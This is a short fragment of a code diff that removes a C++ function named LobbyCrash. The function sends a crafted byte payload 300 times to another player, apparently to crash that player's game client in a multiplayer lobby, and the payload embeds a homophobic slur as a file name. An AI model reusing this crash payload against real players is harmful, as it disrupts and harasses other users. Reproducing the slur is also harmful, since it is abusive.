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- void LobbyCrash(PlayerInformation* player)
- {
- const static BYTE crashBytes[] = {0x4f, 0x20, 0, 1, 0, 0xff, 0xff, 0xff, 0,
- 0xab, 0xab, 0xab, 0xab, "urafag.scx"};
- if (player)
- for (int index = 0; index < 300; ++index)
- SendPlayerFunctionCall(player, 1, 0, crashBytes, sizeof(crashBytes));
- }
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